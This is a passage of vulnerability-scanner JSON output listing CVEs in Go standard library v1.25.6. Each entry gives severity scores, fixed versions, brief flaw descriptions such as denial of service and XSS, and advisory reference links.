"https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54552", "https://access.redhat.com/errata/RHSA-2026:54555", "https://access.redhat.com/errata/RHSA-2026:54583", "https://access.redhat.com/errata/RHSA-2026:54602", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57487", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:57914", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62260", "https://access.redhat.com/errata/RHSA-2026:62406", "https://access.redhat.com/errata/RHSA-2026:62407", "https://access.redhat.com/errata/RHSA-2026:62753", "https://access.redhat.com/errata/RHSA-2026:62754", "https://access.redhat.com/errata/RHSA-2026:62803", "https://access.redhat.com/errata/RHSA-2026:63022", "https://access.redhat.com/errata/RHSA-2026:63163", "https://access.redhat.com/errata/RHSA-2026:63332", "https://access.redhat.com/errata/RHSA-2026:63636", "https://access.redhat.com/errata/RHSA-2026:64818", "https://access.redhat.com/errata/RHSA-2026:65116", "https://access.redhat.com/errata/RHSA-2026:65117", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65335", "https://access.redhat.com/errata/RHSA-2026:65336", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:65895", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66327", "https://access.redhat.com/errata/RHSA-2026:67148", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:67974", "https://access.redhat.com/errata/RHSA-2026:67975", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:68527", "https://access.redhat.com/security/cve/CVE-2026-42499", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/771520", "https://go.dev/issue/78987", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-42499.html", "https://linux.oracle.com/errata/ELSA-2026-70201.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42499", "https://pkg.go.dev/vuln/GO-2026-4977", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42499.json", "https://www.cve.org/CVERecord?id=CVE-2026-42499" ], "PublishedDate": "2026-05-07T20:16:44.54Z", "LastModifiedDate": "2026-10-26T00:10:00.15Z" }, { "VulnerabilityID": "CVE-2026-42504", "VendorIDs": [ "GO-2026-5038" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.11, 1.26.4", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42504", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:c1e285aa2cc20e68dbbf385fafb881436bd0d8ff6c529fa969a429537edf6af9", "Title": "mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header", "Description": "Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/security/cve/CVE-2026-42504", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/774481", "https://go.dev/issue/79217", "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw", "https://linux.oracle.com/cve/CVE-2026-42504.html", "https://linux.oracle.com/errata/ELSA-2026-69308.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42504", "https://pkg.go.dev/vuln/GO-2026-5038", "https://www.cve.org/CVERecord?id=CVE-2026-42504" ], "PublishedDate": "2026-06-02T23:16:37.927Z", "LastModifiedDate": "2026-07-22T19:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-56853", "VendorIDs": [ "GO-2026-6089" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56853", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:289a852ac6162197f8f3b93ea5b2dd15d295627e5239ad939b916e6cf8624c44", "Title": "net/http: golang: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service", "Description": "When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56853", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/795540", "https://go.dev/issue/80205", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56853.html", "https://linux.oracle.com/errata/ELSA-2026-89752.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56853", "https://pkg.go.dev/vuln/GO-2026-6089", "https://www.cve.org/CVERecord?id=CVE-2026-56853" ], "PublishedDate": "2026-08-13T22:17:22.093Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56858", "VendorIDs": [ "GO-2026-6091" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56858", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:ce5d7a82c33f62a7714941edd5c6b533645eea3f1d29ef65d44cf66670448ad1", "Title": "html/template: golang: Go html/template: Cross-Site Scripting via pathological input", "Description": "Previously, pathological inputs could close an unescaped '/' early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS.", "Severity": "HIGH", "CweIDs": [ "CWE-79" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "V3Score": 6.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56858", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/807100", "https://go.dev/issue/80435", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56858.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56858", "https://pkg.go.dev/vuln/GO-2026-6091", "https://www.cve.org/CVERecord?id=CVE-2026-56858" ], "PublishedDate": "2026-08-13T22:17:22.207Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56859", "VendorIDs": [ "GO-2026-6088" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56859", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:c2c27fff42f2bfd998595ffff46f87be09a8ab8bdb0a8ac25f3dfc76bc684f70", "Title": "encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue", "Description": "Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69961", "https://access.redhat.com/security/cve/CVE-2026-56859", "https://bugzilla.redhat.com/2480684", "https://bugzilla.redhat.com/2508234", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2480684", "https://bugzilla.redhat.com/show_bug.cgi?id=2508234", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2518147", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-17106", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39830", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-69961.html", "https://errata.rockylinux.org/RLSA-2026:69961", "https://github.com/golang/go/issues/80481", "https://go.dev/cl/803320", "https://go.dev/issue/80481", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56859.html", "https://linux.oracle.com/errata/ELSA-2026-70201.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56859", "https://pkg.go.dev/vuln/GO-2026-6088", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-56859" ], "PublishedDate": "2026-08-13T22:17:22.32Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56860", "VendorIDs": [ "GO-2026-6218" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56860", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:35ac23789cda9a798a93c1f41090b5ebaebd1da3ef7a90384add7514ad56113a", "Title": "net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution", "Description": "Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56860", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/803681", "https://go.dev/issue/80494", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56860.html", "https://linux.oracle.com/errata/ELSA-2026-71619.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56860", "https://pkg.go.dev/vuln/GO-2026-6218", "https://www.cve.org/CVERecord?id=CVE-2026-56860" ], "PublishedDate": "2026-08-13T22:17:22.44Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56862", "VendorIDs": [ "GO-2026-6090" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56862", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:234f27f2850f9255aa594bdeba403bbadc55bb96c3e85eb5622bf84ee7c10e87", "Title": "crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages", "Description": "Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56862", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://github.com/golang/go/issues/80528", "https://go.dev/cl/804261", "https://go.dev/issue/80528", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56862.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56862", "https://pkg.go.dev/vuln/GO-2026-6090", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-56862" ], "PublishedDate": "2026-08-13T22:17:22.55Z", "LastModifiedDate": "2026-10-24T16:10:00.153Z" }, { "VulnerabilityID": "CVE-2026-78667", "VendorIDs": [ "GO-2026-6609" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78667", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:4ee37615b37b8244da03d5e126f668c9c7ac32cb2a6503f3309180146fb81832", "Title": "net/http: golang: golang: Denial of Service via crafted HTTP Range headers", "Description": "When parsing a Range header containing a large number of small ranges, FileServer(FS), ServeContent, and ServeFile(FS) can consume an excessive amount of CPU.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78667", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", 